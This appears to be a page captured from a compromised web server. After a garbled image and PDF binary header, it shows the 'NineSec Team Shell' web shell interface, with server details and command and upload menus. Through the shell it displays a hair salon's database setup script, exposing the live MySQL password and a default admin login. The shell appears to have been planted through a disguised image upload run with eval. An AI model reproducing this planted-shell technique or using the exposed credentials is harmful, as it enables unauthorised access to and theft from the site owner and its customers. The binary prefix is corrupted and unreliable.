JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/prince.ranchihairsalon.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/prince.ranchihairsalon.com/public_html/setup_database.php
<?php
// Database configuration
$host = 'localhost';
$dbname = 'u178500310_hair';
$username = 'u178500310_hair';
$password = 'Tanveer@#14321';

try {
    // Create connection
    $pdo = new PDO(
        "mysql:host=$host;dbname=$dbname;charset=utf8mb4",
        $username,
        $password,
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    echo "<h2>Database Setup for Prince the Barber</h2>";
    
    // Create tables if they don't exist
    $sql = "
    -- Users table
    CREATE TABLE IF NOT EXISTS users (
        id INT PRIMARY KEY AUTO_INCREMENT,
        username VARCHAR(50) UNIQUE NOT NULL,
        email VARCHAR(100) UNIQUE NOT NULL,
        password VARCHAR(255) NOT NULL,
        first_name VARCHAR(50),
        last_name VARCHAR(50),
        phone VARCHAR(20),
        address TEXT,
        profile_image VARCHAR(255),
        user_type ENUM('customer', 'admin') DEFAULT 'customer',
        registration_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        status ENUM('active', 'inactive') DEFAULT 'active'
    );

    -- Services table
    CREATE TABLE IF NOT EXISTS services (
        id INT PRIMARY KEY AUTO_INCREMENT,
        service_name VARCHAR(100) NOT NULL,
        category ENUM('hair_patch', 'hair_wig', 'hair_care', 'beauty', 'barber') NOT NULL,
        description TEXT,
        price DECIMAL(10,2) NOT NULL,
        discounted_price DECIMAL(10,2),
        duration_minutes INT DEFAULT 30,
        image_url VARCHAR(255),
        featured BOOLEAN DEFAULT FALSE,
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
    );

    -- Appointments table
    CREATE TABLE IF NOT EXISTS appointments (
        id INT PRIMARY KEY AUTO_INCREMENT,
        user_id INT NOT NULL,
        service_id INT NOT NULL,
        appointment_date DATE NOT NULL,
        appointment_time TIME NOT NULL,
        status ENUM('pending', 'confirmed', 'completed', 'cancelled') DEFAULT 'pending',
        notes TEXT,
        total_amount DECIMAL(10,2),
        discount_applied DECIMAL(10,2) DEFAULT 0,
        final_amount DECIMAL(10,2),
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
        FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE
    );

    -- Expenses tracking (for users)
    CREATE TABLE IF NOT EXISTS user_expenses (
        id INT PRIMARY KEY AUTO_INCREMENT,
        user_id INT NOT NULL,
        appointment_id INT,
        expense_type ENUM('service', 'product', 'other') NOT NULL,
        description VARCHAR(255) NOT NULL,
        amount DECIMAL(10,2) NOT NULL,
        expense_date DATE NOT NULL,
        notes TEXT,
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
        FOREIGN KEY (appointment_id) REFERENCES appointments(id) ON DELETE CASCADE
    );

    -- Products table (for hair patches, wigs, etc.)
    CREATE TABLE IF NOT EXISTS products (
        id INT PRIMARY KEY AUTO_INCREMENT,
        product_name VARCHAR(100) NOT NULL,
        category ENUM('hair_patch', 'hair_wig', 'hair_product', 'beauty_product') NOT NULL,
        description TEXT,
        brand VARCHAR(100),
        price DECIMAL(10,2) NOT NULL,
        discounted_price DECIMAL(10,2),
        stock_quantity INT DEFAULT 0,
        image_url VARCHAR(255),
        featured BOOLEAN DEFAULT FALSE,
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
    );
    ";
    
    // Execute SQL
    $pdo->exec($sql);
    echo "<p style='color: green;'>✅ Tables created successfully!</p>";
    
    // Check if admin user exists
    $stmt = $pdo->query("SELECT * FROM users WHERE username = 'admin'");
    if($stmt->rowCount() == 0) {
        // Create admin user (password: admin123)
        $hashed_password = password_hash('admin123', PASSWORD_DEFAULT);
        $stmt = $pdo->prepare("
            INSERT INTO users (username, email, password, first_name, last_name, user_type) 
            VALUES ('admin', 'admin@prince.ranchihairsalon.com', ?, 'Admin', 'User', 'admin')
        ");
        $stmt->execute([$hashed_password]);
        echo "<p style='color: green;'>✅ Admin user created!</p>";
        echo "<p><strong>Admin Login:</strong><br>";
        echo "Username: admin<br>";
        echo "Password: admin123<br>";
        echo "<small style='color: red;'>Change this password immediately after login!</small></p>";
    } else {
        echo "<p style='color: blue;'>ℹ️ Admin user already exists.</p>";
    }
    
    // Check if services exist
    $stmt = $pdo->query("SELECT COUNT(*) as count FROM services");
    $result = $stmt->fetch();
    if($result['count'] == 0) {
        // Insert sample services
        $services = [
            ['Hair Patch Installation', 'hair_patch', 'Professional hair patch installation with natural look', 1500.00, 1],
            ['Custom Hair Wig', 'hair_wig', 'Custom-made hair wig with perfect fit', 3000.00, 1],
            ['Premium Hair Cut', 'barber', 'Premium haircut with styling', 250.00, 1],
            ['Beard Trim & Shape', 'barber', 'Professional beard trimming and shaping', 150.00, 0],
            ['Hair Coloring', 'hair_care', 'Professional hair coloring service', 500.00, 0],
            ['Scalp Treatment', 'hair_care', 'Revitalizing scalp treatment', 350.00, 0]
        ];
        
        $stmt = $pdo->prepare("
            INSERT INTO services (service_name, category, description, price, featured) 
            VALUES (?, ?, ?, ?, ?)
        ");
        
        foreach($services as $service) {
            $stmt->execute($service);
        }
        echo "<p style='color: green;'>✅ Sample services added!</p>";
    }
    
    // Check if products exist
    $stmt = $pdo->query("SELECT COUNT(*) as count FROM products");
    $result = $stmt->fetch();
    if($result['count'] == 0) {
        // Insert sample products
        $products = [
            ['Natural Hair Patch - Standard', 'hair_patch', 'Premium quality natural hair patch with comfortable fit', 'Royal Hair', 2999, 15],
            ['Premium Hair Patch - Deluxe', 'hair_patch', 'Deluxe hair patch with enhanced density and natural look', 'Royal Hair', 4999, 10],
            ['Custom Hair Wig - Basic', 'hair_wig', 'Custom-made basic hair wig with natural hair', 'Elite Wigs', 7999, 5],
            ['Hair Growth Serum', 'hair_product', 'Advanced hair growth serum for stronger hair', 'HairCare Pro', 899, 25]
        ];
        
        $stmt = $pdo->prepare("
            INSERT INTO products (product_name, category, description, brand, price, stock_quantity) 
            VALUES (?, ?, ?, ?, ?, ?)
        ");
        
        foreach($products as $product) {
            $stmt->execute($product);
        }
        echo "<p style='color: green;'>✅ Sample products added!</p>";
    }
    
    echo "<hr>";
    echo "<h3>Setup Complete!</h3>";
    echo "<p><a href='index.php' class='btn btn-primary'>Go to Website</a></p>";
    echo "<p><a href='auth/login.php' class='btn btn-success'>Login to Admin Panel</a></p>";
    
} catch(PDOException $e) {
    echo "<h2>Setup Error</h2>";
    echo "<p style='color: red;'>Error: " . $e->getMessage() . "</p>";
    echo "<p>Please check your database credentials in config.php</p>";
}
?>

NineSec Team - 2022